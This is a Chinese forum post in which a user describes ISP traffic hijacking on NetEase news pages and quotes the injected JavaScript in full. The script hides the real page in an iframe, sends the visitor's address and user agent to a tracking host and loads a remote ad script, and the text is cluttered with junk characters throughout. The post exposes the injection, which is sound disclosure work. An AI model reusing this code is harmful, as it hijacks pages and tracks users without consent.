|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑
' _- c, A' `5 r1 { R) i7 q, L' F8 U6 ?0 E7 F; ^1 o. q: D! H
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了2 w' v& D( c; ?2 A3 H4 T& D
3 ~# ^ M4 R# U* P+ r接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}% Z: y% }/ n5 B8 |: W
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 8 f6 X, G" |' K B3 o4 ]: |' G
; O1 Z6 E0 a3 C% K2 E2 ~5 A
顺便查下ip138:
% K; O1 J" w: h' J* k
|9 M {9 T O7 W& m; \这是那段js里面的代码,好象是个半成品还没写入广告数据:% z4 q/ i7 W/ d$ |' a3 o+ h) k
- function locationSearch() {- Z: }* e: M, r9 W% G
- var s = getMainJs();5 s0 @2 I. g/ c! _
- if (s == null) {
; k* R$ J# ?$ M7 k9 F T - location.reload();' V8 _8 n4 E6 G( m
- } ^0 M# v9 c% S( q9 E0 n+ o7 ]
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
( U( @2 }# O; T9 D - }% C: Z( M" n- A9 W% e
' x( o: e. h9 U* K, H' V- function getParameter(name, paraStr) {4 A, W/ h7 d' `
- var result = "";! V* _5 C1 G- ^3 u& r% }* T2 A
- var str = "&" + paraStr.split("?")[1];1 l* W3 I8 m/ ?- E$ @# N
- var paraName = "&" + name + "=";# a6 j# G a1 F/ S& Q( z
- if (str.indexOf(paraName) != -1) {; y$ ?9 J0 a; A: A
- if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
# Q- B+ s: V; T( z: S - var TmpStr = str.substring(str.indexOf(paraName), str.length);
: [2 e# E) g0 R - result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
" [- ]9 j/ \$ J7 p6 Y6 a/ O - 1, TmpStr.length).indexOf("&")
; }! k8 J6 u$ u4 f# f2 ? - - TmpStr.indexOf(paraName) + 1);! a; g, W, Y" \8 K* r
- } else {
( N9 f" ^0 N' W) k - result = str.substring(str.indexOf(paraName), str.length);) y( I8 I1 N% k, S
- }, q! @% m, L( S: s# d7 D: E
0 S4 M& r g1 g+ O8 J- result = result.substring(result.indexOf("=") + 1, result.length);
+ y# H! c- B+ z- P0 X; A6 V& O5 K - } else {! _& y: `* Z2 d" t1 @0 e# h
- result = "No such parameter";
9 `' [# d% S' ?7 \ - }
) o8 t3 p0 t8 i7 j: W! K* M - return (result.replace("&", ""));
0 _, C5 i( o) l" N# U/ T - }* K+ k9 p; W ^$ H
* Q# H# W B5 b1 b' Y/ ?- function getMainJs() {, A$ w5 y6 K: _) w/ _3 j+ C
- var scripts = document.getElementsByTagName("script");1 j6 T- G7 l3 [) R! e
- var s = null;* k. n$ [2 C6 ]5 o
- for (var i = 0; i < scripts.length; i++) {
1 [. ^. I0 G, W7 L - if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
& G9 U! W& L! a( A% Q1 p# n: a - s = scripts[i];
. H, F) U4 _* Y" g3 K( w" ~ - break;
- g0 F% a/ [8 J$ p; g. B4 r/ \ - }
8 x {9 {# [6 W8 N - }0 {; Z# l3 S" j% [7 @
- return s;
1 h2 \! ^) |8 x4 D9 g2 b1 P4 ~- C/ n - }; y) |- d7 d4 m: m! ~
- 5 |8 `. V9 q L7 R
- function appendParam(oStr, aStr) {
8 x3 s; B8 h Y) Y4 w - if (oStr.indexOf('?') > 0) {! n- X/ v. ?( c# t0 R0 M; F, } H
- oStr = oStr + "&" + aStr;
+ w& j( R) N( p' P) | - } else {7 K: K4 z4 ^! _* T
- oStr = oStr + "?" + aStr;
1 ]. T6 q0 W4 c8 I - }
% v0 u3 L1 W4 D4 W2 O, R - return oStr;
4 e3 C+ r! A5 z9 G - }# @7 a0 |# x, t: N+ ?! D, Q) g
. M' C2 z+ [$ r- window.onerror = function() {
, x# D$ {/ J, @' ^* b6 g8 w% e - };9 f4 S6 k5 P# r8 E% N
- - @; ]3 ?7 R6 G: K1 m
- var g_titleTime = 0;, l! H% q6 ]/ k9 C* h; n$ A+ n
- function setTcTitle() {
; a6 Q% @: V1 T# F - if (undefined == document) {
) I6 H$ q0 @4 A. |& y8 @ - g_titleTime++;
$ Z) x( z/ \( c( }" h! P3 n - setTimeout("setTcTitle();", 1000);
8 Z% |0 ^& S3 C* @9 E9 ?% F - return;
; X! d1 K1 x, Z) k% e- U& K5 f* u2 }* ] - }# u0 i9 ^, @( R( t
- ' Z+ T) Y7 ]8 ]# i
- var doc;: h$ ^2 b% \. Z: [& d$ |2 ?
- try {
" R( \4 F4 K/ E* W. x - if (document.all) {, |3 W' h' U% H
- doc = document.frames["cn"].document;# A W7 s' O8 o0 _
- } else {
' z0 h- e3 x5 D% V& l0 K - doc = document.getElementById("cn").contentDocument;
2 q$ u) J+ P6 L0 L - }
" k4 f( i. w4 V9 @ - } catch (ex) {
7 B$ R6 s6 b+ G/ h+ u4 o - }8 T, w- L$ ]2 {0 Z4 R" n! @4 v7 s1 Q
- e( c; B- w& s* G5 i2 H" C, [- if (g_titleTime < 5
: C5 }6 c3 Z7 Q( H8 R0 s0 l - && (undefined == doc || undefined == doc.title || "" == doc.title)) {
) p! }/ P) P* F; a* w+ L" h - g_titleTime++;% W4 c0 V: {% K: D8 ^0 p- }
- setTimeout("setTcTitle();", 1000);
# e& L$ Z2 v% O9 f# E) g$ a - return;
, h3 H! z3 a( S9 a) b; Q+ u - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
( D. q- _7 A6 S8 G - document.title = doc.title;' M. H: U' X3 p
- setTcAdvVisible();3 q8 f1 Z4 }; M# [' w& H: t
- }
! L0 }0 i( ?8 H4 ? - }# n+ t8 G- Q5 C$ D& T8 {% C
* z# |0 L- h- u- J3 z- t- setTimeout("setTcTitle();", 1000);
/ k+ S) ^: i# Z# Y/ }3 [7 B - ! c* o0 a8 L `/ C: J
- var g_isHaveVisible = false;
' ^4 e1 j, _8 j# O* V. g - function setTcAdvVisible() {
8 P8 _: D; b0 M* }* D3 W. M. ~# v - if (undefined != document && undefined != document.getElementById("addiv")$ k$ H7 m4 A' c
- && !g_isHaveVisible) {
0 \( C/ X' C# p. x3 v: q - document.getElementById("addiv").style.visibility = 'visible';
4 H, p/ n) h$ U L - document.getElementById("addiv").style.display = 'block';) A8 W4 w1 J- d& k) O) R0 x/ M
- g_isHaveVisible = true;( w# S# C7 |8 i1 A# D# e& u" N
- }
: F& l5 T3 b: c2 O" j& C( q* z! l - }
+ K. d7 P7 \3 G" C; W9 r. T# I7 z" v - % j6 J( T9 h' z8 x; K3 P) i, E
- function UrlAnalyzer() {
* A0 _$ f9 M7 E( @& z/ w4 \+ U - this.divda = "";
4 _8 O8 Y8 g& f7 O' J - this.tctype = "";
$ C$ n: a! @7 f5 X$ ~+ f - this.radius = "";$ L5 z- T* v/ L- c& }4 F4 m- Q0 Z
- this.rlu = "";
( R. K! D) a/ ` - }; D3 q$ l% y. m
3 t+ \8 w+ J% n* V- UrlAnalyzer.prototype.initParameters = function() {
7 K3 t8 ?- v' R* E8 {" I - var paraStr = locationSearch();
, N+ e5 W: }; l - this.rlu = getParameter("lruedct", paraStr);
, m9 n5 C- h- ?$ s% u* t7 B* i: N - this.divda = getParameter("divda", paraStr);: e" H1 u7 ?6 Q0 Q
- this.radius = getParameter("radius", paraStr);. A; Z' T3 P' D( r/ G( `6 h
- this.tctype = getParameter("tctype", paraStr);
4 E# b$ z& s5 \; ~) _ - this.address = getParameter("address", paraStr);7 K8 X- P# M; s/ H' s# H
- this.usagent = getParameter("usagent", paraStr);& [! z9 Y6 v+ L" n! a" ?
- }
( A" u! s! S8 Y - / U- I: w ^$ F; `
- UrlAnalyzer.prototype.getHtmlDoc = function() {
* u# v6 J4 {3 X, o6 F - var doc;
4 X0 X5 x: j' @ - try {( f2 G5 ^9 {9 t( X% f- V
- if (document.all) {
' {6 C$ T, {5 R+ n - doc = document.frames["cn"].document;
+ W3 B* }5 r3 i& h% Z8 h
: e5 `2 s9 y$ {0 y2 j- } else {$ q1 l; n$ E! a4 r3 @3 B) ]
- doc = document.getElementById("cn").contentDocument;/ d1 v+ ]( x7 b! x \2 z
- // doc = document.getElementById("cn").contentWindow.document;' z! T8 W$ {& H, Y0 R A
- }* I! S" f7 Z, w9 w
- } catch (ex) {
' W* I$ \" l; _ - }
0 k/ I+ p2 m( H( g2 N+ L - return doc;
" {/ B1 T2 \5 q$ K* x& O$ U - }8 m7 M* k8 h2 k) [( U: n
8 ^& u: d) k1 S- UrlAnalyzer.prototype.setDomain = function() {- O6 f" C" @6 j5 p
- if (undefined != document.title && "" == document.title)4 s/ |# C. n3 ]% j7 K8 a: e
- {; N/ x# y* W1 @; |% X5 n8 E
- var index = document.domain.indexOf(".");8 u" t$ g0 B, ~6 q$ w: n
- if (undefined != index && -1 != index) {
% _- R! b% J3 G! ]$ k3 ^ - document.domain = document.domain.substring(index + 1,. m8 T' {* w/ A0 ~" ^) Z- X
- document.domain.length);
, f. o/ b. ~7 l8 @ - }
! I! q0 V4 Q) O -
: i$ R7 m! W8 r# H s - var doc = this.getHtmlDoc();) M6 G, J: }0 I7 J! e6 M' A
- if (undefined != doc && undefined != doc.title && "" != doc.title) {' n: e" y+ X& A+ U+ |7 N
- document.title = doc.title;
- o0 e6 B) y l, _, ?- t - setTcAdvVisible();# d& H# \9 c; W1 J; D
- }
2 _, A( y6 D1 |! ^2 d - }/ u k$ R7 t( B; I) q! E, [
- }- h. Q ^! A2 ]# d
7 V: ^3 @3 M3 l }( {- UrlAnalyzer.prototype.iframeCallback = function() {4 K# f/ {' V, `; n9 H! ^6 K* X
- var doc = this.getHtmlDoc();/ _* \$ y0 d% K, {* [* V2 g; Y7 O( H
- if (undefined == doc || undefined == doc.title || "" == doc.title) {
+ l- O8 s7 m/ _) ?: H. x0 I - if (undefined != document.domain) {
0 c* ]) `* [' \: E
% ]: R. @' I& A! W- var self = this;" O: e6 e H5 k4 e1 {
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);4 P0 s( x3 ]; U4 T! U( t6 w
- // var index = document.domain.indexOf(".");
9 {# c) T7 c3 S - // if (undefined != index && -1 != index) {& l5 t2 l, [ S
- // document.domain = document.domain.substring(index + 1,
! X0 N/ P7 ~) V( m3 u; ] f - // document.domain.length);4 P8 F9 D* `* T# }& o" p
- // }1 a6 Z6 x8 G8 P$ q5 L3 J
- //. h+ {) }3 x6 K5 W7 |+ @' {
- // var doc = this.getHtmlDoc();
$ J) H9 @) F* y - // if (undefined != doc && undefined != doc.title && "" !=
2 q A# u, }) E3 J- l- e - // doc.title) {- b3 g( j! ~1 e4 p* O
- // document.title = doc.title;5 |" s( t$ m- w* R
- // setTcAdvVisible();
- s7 R7 r2 r% K5 c - // }9 r1 s3 \) d% M# ~% ~% P3 Y
- }
5 I" ?& L X5 O* } - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {& L' M/ t. y/ j+ k- K/ u
- document.title = doc.title;
( y, G: }1 ~/ I, {: J( v9 A - setTcAdvVisible();
- E$ a, _+ s$ m* J& e: L1 b& e! q" x - }3 j' C5 P: l) t$ b: N& D% P
- }* U5 `; O3 B: d& B1 C1 t$ E
( l# o/ I* T' j5 L5 n8 v3 S- UrlAnalyzer.prototype.executeHtmlContext = function() {9 G% x3 f9 J- w7 g% e* a
- var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda7 I* r ^ k3 p( U3 |7 e# O
- + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;- H% l' R2 f7 b% T% i" p0 Q
- 3 D; ]& ~4 {. X6 t- g) x7 r
- var htmlStr = "<iframe src="" + staUrl
: P' u N7 g' k, E+ r$ X. F3 l5 {4 e8 V - + "" style="display:none"></iframe>";8 r! Q1 c$ @$ T9 Z1 ^
$ I/ ~! ^4 Y! p7 M7 h" o# p- var advUrl = htmlStr
; d2 g- r9 s H4 K$ C X1 H - + "<script src="http://c2.sxite.com:8060/center?advId=", O$ n# ?1 \+ t8 G
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";4 {3 j- `1 E7 o, R7 k0 C- |
- document.write(advUrl);# k4 }+ B y. C3 Q; [0 E
- % G4 C5 q) i( L/ l# ]8 u+ N5 [+ q# a
- var self = this;
$ b& a+ {, q5 B' Y! D! R ]. | - var iframe = document.getElementById("cn");
3 k+ x# J! d, w7 R+ G" w R# {2 S - if (iframe.attachEvent) {0 J0 ^! W$ |# w* R
- iframe.attachEvent("onload", function() {
6 O" F# v3 F# d. M2 C' s; q+ F+ ^ - self.iframeCallback.call(self, null);
9 P1 t4 M# m6 ~& N$ y: k8 A - });8 n3 A! r) `* Q* B6 `. L( y
- } else {: I# x0 q! {: b
- iframe.onload = function() {
+ N( U4 [$ L6 p% j4 u8 t/ e6 w - self.iframeCallback.call(self, null);
+ U0 w# S# ^8 T5 s% Z - }
( c! L; A" V& N' s - }
+ _$ Z5 d/ x/ ?1 X2 Z3 H# a2 x2 i - } C$ @5 q3 C/ W5 m5 x1 A, v
- ( D: b) e/ y, V
- UrlAnalyzer.prototype.executeMain = function() {
, U( v. g2 T$ p# h" E - var mainFrame = document.getElementById("cn");
/ \$ I3 J0 q+ x - mainFrame.contentWindow.location.href = mainFrame.src;0 A3 o+ F1 U$ s1 I Y
- this.initParameters();
# ?: B4 n* q0 e$ M - this.executeHtmlContext();7 A3 _7 r& i9 V% V
- }9 d" u# n& p$ u- m5 P# m
- ) Y$ ]& L2 ~; Z
- var g_analyzer = new UrlAnalyzer();2 {$ K/ n: Q# W4 m8 @
- g_analyzer.executeMain();$ {2 B4 ?6 B: ~8 r- o y
复制代码
6 n7 }+ ~4 W1 D6 C' Q v9 b' Z( f' j) k
2 {: \* a; d Y- R! I
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
×
|